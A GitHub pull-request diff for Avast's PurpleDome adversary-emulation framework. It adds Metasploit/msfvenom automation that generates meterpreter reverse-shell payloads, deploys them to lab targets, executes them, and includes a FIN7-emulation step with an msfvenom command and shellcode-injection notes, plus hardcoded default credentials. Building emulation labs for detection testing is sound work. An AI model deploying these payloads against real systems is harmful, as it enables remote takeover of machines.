Merge pull request #3 from avast/metasploit_basics

First metasploit command called successfully
pull/4/head
Thorsten Sick 3 years ago committed by GitHub
commit 6efe57e30e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -98,6 +98,84 @@ class AttackLog():
}
self.log.append(data)
def start_file_write(self, source, target, file_name, ttp=None):
""" Mark the start of a file being written to the target (payload !)
@param source: source of the attack. Attack IP (empty if written from controller)
@param target: Target machine of the attack
@param file_name: Name of the file being written
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": __get_timestamp__(),
"event": "start",
"type": "dropping_file",
"sub-type": "by PurpleDome",
"source": source,
"target": target,
"file_name": file_name
}
self.log.append(data)
def stop_file_write(self, source, target, file_name, ttp=None):
""" Mark the stop of a file being written to the target (payload !)
@param source: source of the attack. Attack IP (empty if written from controller)
@param target: Target machine of the attack
@param attack_name: Name of the attack. From plugin
@param file_name: Name of the file being written
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": __get_timestamp__(),
"event": "stop",
"type": "dropping_file",
"sub-type": "by PurpleDome",
"source": source,
"target": target,
"file_name": file_name
}
self.log.append(data)
def start_execute_payload(self, source, target, command, ttp=None):
""" Mark the start of a payload being executed
@param source: source of the attack. Attack IP (empty if written from controller)
@param target: Target machine of the attack
@param command: Name of the file being written
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": __get_timestamp__(),
"event": "start",
"type": "execute_payload",
"sub-type": "by PurpleDome",
"source": source,
"target": target,
"command": command
}
self.log.append(data)
def stop_execute_payload(self, source, target, command, ttp=None):
""" Mark the stop of a payload being executed
@param source: source of the attack. Attack IP (empty if written from controller)
@param target: Target machine of the attack
@param command: Name of the attack. From plugin
@param file_name: Name of the file being written
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": __get_timestamp__(),
"event": "stop",
"type": "execute_payload",
"sub-type": "by PurpleDome",
"source": source,
"target": target,
"command": command
}
self.log.append(data)
def start_kali_attack(self, source, target, attack_name, ttp=None):
""" Mark the start of a Kali based attack

@ -11,7 +11,6 @@ import simplejson
from app.exceptions import CalderaError
from app.interface_sfx import CommandlineColors
from app.attack_log import AttackLog
from pprint import pprint, pformat
@ -587,10 +586,9 @@ class CalderaControl():
# ######## All inclusive methods
def attack(self, attack_logger: AttackLog = None, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None):
def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None):
""" Attacks a system and returns results
@param attack_logger: An attack logger class to log attacks with
@param paw: Paw to attack
@param group: Group to attack. Paw must be in the group
@param ability_id: Ability to run against the target
@ -624,17 +622,16 @@ class CalderaControl():
self.add_adversary(adversary_name, ability_id)
adid = self.get_adversary(adversary_name)["adversary_id"]
if attack_logger:
attack_logger.start_caldera_attack(source=self.url,
paw=paw,
group=group,
ability_id=ability_id,
ttp=self.get_ability(ability_id)[0]["technique_id"],
name=self.get_ability(ability_id)[0]["name"],
description=self.get_ability(ability_id)[0]["description"],
obfuscator=obfuscator,
jitter=jitter
)
self.attack_logger.start_caldera_attack(source=self.url,
paw=paw,
group=group,
ability_id=ability_id,
ttp=self.get_ability(ability_id)[0]["technique_id"],
name=self.get_ability(ability_id)[0]["name"],
description=self.get_ability(ability_id)[0]["description"],
obfuscator=obfuscator,
jitter=jitter
)
# ##### Create / Run Operation
@ -695,17 +692,16 @@ class CalderaControl():
self.execute_operation(opid, "cleanup")
self.delete_adversary(adid)
self.delete_operation(opid)
if attack_logger:
attack_logger.stop_caldera_attack(source=self.url,
paw=paw,
group=group,
ability_id=ability_id,
ttp=self.get_ability(ability_id)[0]["technique_id"],
name=self.get_ability(ability_id)[0]["name"],
description=self.get_ability(ability_id)[0]["description"],
obfuscator=obfuscator,
jitter=jitter
)
self.attack_logger.stop_caldera_attack(source=self.url,
paw=paw,
group=group,
ability_id=ability_id,
ttp=self.get_ability(ability_id)[0]["technique_id"],
name=self.get_ability(ability_id)[0]["name"],
description=self.get_ability(ability_id)[0]["description"],
obfuscator=obfuscator,
jitter=jitter
)
return True
def pretty_print_ability(self, abi):

@ -118,8 +118,7 @@ class Experiment():
# TODO: If we have several targets in the same group, it is nonsense to attack each one separately. Make this smarter
self.attack_logger.vprint(f"Attacking machine with PAW: {target_1.get_paw()} with {attack}", 2)
it_worked = self.caldera_control.attack(attack_logger=self.attack_logger,
paw=target_1.get_paw(),
it_worked = self.caldera_control.attack(paw=target_1.get_paw(),
ability_id=attack,
group=target_1.get_group(),
target_platform=target_1.get_os()
@ -202,6 +201,7 @@ class Experiment():
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Running Kali plugin {name}{CommandlineColors.ENDC}", 2)
plugin.process_config(self.experiment_config.kali_conf(plugin.get_config_section_name())) # TODO: De-kalify
plugin.set_attacker_machine(self.attacker_1)
plugin.set_logger(self.attack_logger)
plugin.set_caldera(self.caldera_control)
# plugin.__set_logger__(self.attack_logger)

@ -1,21 +1,17 @@
#!/usr/bin/env python3
from pymetasploit3.msfrpc import MsfRpcClient
from app.machinecontrol import Machine
# from app.machinecontrol import Machine
from app.attack_log import AttackLog
from app.interface_sfx import CommandlineColors
import time
import socket
import os
# https://github.com/DanMcInerney/pymetasploit3
# Requirements
# TODO Connect to metasploit on kali machine
# TODO Multi sessions
# Add msfvenom class to generate payloads and fetch them
class Metasploit():
def __init__(self, password, **kwargs):
@ -38,21 +34,11 @@ class Metasploit():
kwargs["server"] = self.attacker.get_ip()
time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client.
self.get_client()
# self.client = MsfRpcClient(password, **kwargs)
# TODO: Improve speed and reliability with exception handling and retries
# Waiting for reverse shell
self.exploit_stub_for_external_payload()
print("Meterpreter executing")
print(self.meterpreter_execute("getuid", 0))
print("Done")
def exploit_stub_for_external_payload(self, exploit='exploit/multi/handler', payload='linux/x64/meterpreter_reverse_tcp'):
exploit = self.client.modules.use('exploit', exploit)
def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler'):
exploit = self.get_client().modules.use('exploit', exploit)
# print(exploit.description)
# print(exploit.missing_required)
payload = self.client.modules.use('payload', payload)
payload = self.get_client().modules.use('payload', payload)
# print(payload.description)
# print(payload.missing_required)
payload["LHOST"] = self.attacker.get_ip()
@ -73,38 +59,90 @@ class Metasploit():
self.client = MsfRpcClient(self.password, **self.kwargs)
return self.client
def get_sid(self, number=0):
def get_sid(self, session_number=0):
""" Get the first session between hacked target and the metasploit server
@param number: number of the session to get
@param session_number: number of the session to get
"""
# TODO improve stability and speed
while len(self.client.sessions.list) <= number:
# print(self.client.sessions.list)
# print("Waiting for session")
print("Get SID")
while len(self.get_client().sessions.list) <= session_number:
time.sleep(1)
return list(self.client.sessions.list)[number]
print(f"DONE get sid {self.get_client().sessions.list}")
return list(self.get_client().sessions.list)[session_number]
def get_sid_to(self, target):
""" Get the session to a specified target
@param target: a target machine to find in the session list
"""
# Get_ip can also return a network name. Matching a session needs a real ip
ip = socket.gethostbyname(target.get_ip())
def meterpreter_execute(self, cmd: str, session_number: int) -> str:
""" Executes a command on the meterpreter, returns result read from shell
retries = 100
while retries > 0:
for k, v in self.get_client().sessions.list.items():
if v["session_host"] == ip:
print(f"session list: {self.get_client().sessions.list}")
return k
@param cmd: command to execute
time.sleep(1)
retries -= 1
return None # TODO: Better error handlign as soon as we know where we use it
def meterpreter_execute(self, cmds: [str], session_number: int) -> str:
""" Executes commands on the meterpreter, returns results read from shell
@param cmds: commands to execute, a list
@param session_number: session number
@:return: the string result
@:return: the string results
"""
shell = self.client.sessions.session(self.get_sid(session_number))
shell.write(cmd)
return shell.read()
res = []
for cmd in cmds:
shell.write(cmd.strip())
res.append(shell.read())
return res
def meterpreter_execute_on(self, cmds: [str], target) -> str:
""" Executes commands on the meterpreter, returns results read from shell
@param cmds: commands to execute, a list
@param target: target machine
@:return: the string results
"""
session_id = self.get_sid_to(target)
print(f"Session ID: {session_id}")
shell = self.client.sessions.session(session_id)
res = []
time.sleep(1)
for cmd in cmds:
shell.write(cmd)
retries = 10
while retries > 0:
r = shell.read()
time.sleep(0.5) # Command needs time to execute
retries -= 1
if len(r) > 0:
res.append(r)
break
return res
##########################################################################
class MSFVenom():
def __init__(self, attacker: Machine, target: Machine, attack_logger: AttackLog):
def __init__(self, attacker, target, attack_logger: AttackLog):
"""
:param attacker: attacker machine
:param target: target machine
:param attack_logger: The logger for the attack
"""
# https://www.offensive-security.com/metasploit-unleashed/msfvenom/
@ -194,15 +232,29 @@ class MSFVenom():
f"{CommandlineColors.OKCYAN}Generated {payload_name}...deploying it{CommandlineColors.ENDC}",
1)
# Deploy to target
if self.attack_logger:
self.attack_logger.start_file_write("", self.target.get_name(), payload_name)
self.target.put(src, self.target.get_playground())
if self.attack_logger:
self.attack_logger.stop_file_write("", self.target.get_name(), payload_name)
# TODO run on target
if self.target.get_playground() is not None:
cmd = f"cd {self.target.get_playground()};"
else:
cmd = ""
cmd += f"chmod +x {payload_name}; ./{payload_name}"
if self.target.get_os() == "linux":
if self.target.get_playground() is not None:
cmd = f"cd {self.target.get_playground()};"
else:
cmd = ""
cmd += f"chmod +x {payload_name}; ./{payload_name}"
if self.target.get_os() == "windows":
cmd = f'{payload_name}'
print(cmd)
if self.attack_logger:
self.attack_logger.start_execute_payload("", self.target.get_name(), cmd)
self.target.remote_run(cmd, disown=True)
if self.attack_logger:
self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}",
1)

@ -39,13 +39,14 @@ if __name__ == "__main__":
target.up()
venom = MSFVenom(attacker, target, attack_logger)
print(venom.generate_cmd(payload="linux/x64/meterpreter_reverse_tcp",
payload_type = "linux/x64/meterpreter_reverse_tcp"
print(venom.generate_cmd(payload=payload_type,
architecture="x64",
platform="linux",
# lhost,
format="elf",
outfile="clickme.exe"))
venom.generate_and_deploy(payload="linux/x64/meterpreter_reverse_tcp",
venom.generate_and_deploy(payload=payload_type,
architecture="x64",
platform="linux",
lhost=attacker.get_ip(),
@ -56,8 +57,9 @@ if __name__ == "__main__":
# TODO simple command to test
metasploit = Metasploit(password, attacker=attacker, username=user)
metasploit.start_exploit_stub_for_external_payload(payload=payload_type)
print(metasploit.meterpreter_execute(["getuid"], 0))
# client = MsfRpcClient('yourpassword', ssl=True)
target.halt()
attacker.halt()

@ -4,6 +4,7 @@
from plugins.base.plugin_base import BasePlugin
from app.exceptions import PluginError
from app.calderacontrol import CalderaControl
# from app.metasploit import MSFVenom, Metasploit
import os
@ -31,6 +32,10 @@ class AttackPlugin(BasePlugin):
self.caldera = None # The Caldera connection object
self.targets = None
self.metasploit_password = "password"
self.metasploit_user = "user"
self.metasploit = None
def copy_to_attacker_and_defender(self):
""" Copy attacker/defender specific files to the machines. Called by setup, do not call it yourself. template processing happens before """
@ -106,8 +111,7 @@ class AttackPlugin(BasePlugin):
@param parameters: parameters to pass to the ability
"""
self.caldera.attack(self.attack_logger,
paw=target.get_paw(),
self.caldera.attack(paw=target.get_paw(),
ability_id=ability_id,
group=target.get_group(),
target_platform=target.get_os(),

@ -4,8 +4,7 @@
from plugins.base.attack import AttackPlugin
from app.interface_sfx import CommandlineColors
from app.metasploit import MSFVenom
import os
from app.metasploit import MSFVenom, Metasploit
class FIN7Plugin(AttackPlugin):
@ -90,6 +89,10 @@ class FIN7Plugin(AttackPlugin):
f"{CommandlineColors.OKGREEN}End Step 3: Target Assessment{CommandlineColors.ENDC}", 1)
def step4(self):
""" Create staging payload and inject it into powsershell.exe
https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Resources/Step4/babymetal
"""
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)
@ -99,34 +102,47 @@ class FIN7Plugin(AttackPlugin):
# Uploaded stager creates meterpreter shell (babymetal)
# Generate payload:
payload_name = "clickme.exe"
venom = MSFVenom(self.attacker_machine_plugin, self.targets[0])
venom.generate_payload(payload="windows/x64/meterpreter_reverse_tcp",
architecture="x64",
platform="windows",
# lhost,
format="exe",
outfile=payload_name)
self.attacker_machine_plugin.get(payload_name, self.targets[0].get_machine_path_external())
src = os.path.join(self.targets[0].get_machine_path_external(), payload_name)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Deploy babymetal replacement{CommandlineColors.ENDC}",
1)
self.targets[0].put(src, self.targets[0].get_playground())
if self.targets[0].get_playground() is not None:
pl = os.path.join(self.targets[0].get_playground(), payload_name)
else:
pl = payload_name
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute babymetal replacement - waiting for meterpreter shell{CommandlineColors.ENDC}",
1)
self.targets[0].remote_run(pl, disown=True)
# adb156.exe -> cmd.exe ->powershell.exe decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/
# powershell cmdlet Invoke-Expression executes decoded dll https://attack.mitre.org/techniques/T1140/
# powershell.exe loads shellcode into memory (received from C2 server) https://attack.mitre.org/techniques/T1573/
payload_name = "babymetal.exe"
payload_type = "windows/x64/meterpreter/reverse_https"
# TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. For the proper steps see:
# Several steps are required https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Resources/Step4/babymetal
# Original: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=443 EXITFUNC=thread -f C --encrypt xor --encrypt-key m
# EXITFUNC=thread : defines cleanup after exploitation. Here only the thread is exited
# -f C : output is c code
# --encrypt xor : xor encrypt the results
# --encrypt-key m : the encryption key
venom = MSFVenom(self.attacker_machine_plugin, self.targets[0], self.attack_logger)
venom.generate_and_deploy(payload=payload_type,
architecture="x64",
platform="windows",
lhost=self.attacker_machine_plugin.get_ip(),
format="exe",
outfile=payload_name)
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute babymetal replacement - waiting for meterpreter shell{CommandlineColors.ENDC}", 1)
# TODO: Add shellcode code into C file, compile
# TODO. Call convertto_shellcode ps1 ( needs a windows attacker machine or powershell on the attacker !)
# sudo apt install powershell
# pwsh
# result is babymetal.dll
# TODO: convert to base64
# TODO: target already runs adb156.exe. This one gets the shellcode and decodes it.
# TODO: adb156.exe -> cmd.exe ->powershell.exe decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/
# TODO: powershell cmdlet Invoke-Expression executes decoded dll https://attack.mitre.org/techniques/T1140/
# TODO: invoke-Shellcode.ps1 loads shellcode into powershell.exe memory (Allocate memory, copy shellcode, start thread) (received from C2 server) https://attack.mitre.org/techniques/T1573/
# https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/fin7/Resources/Step4/babymetal/Invoke-Shellcode.ps1
# Todo: Wait for meterpreter here
metasploit = Metasploit(self.metasploit_password, attacker=self.attacker_machine_plugin, username=self.metasploit_user)
metasploit.start_exploit_stub_for_external_payload(payload=payload_type)
print("Got session, calling command")
print(metasploit.meterpreter_execute_on(["getuid"], self.targets[0]))
self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)

Loading…
Cancel
Save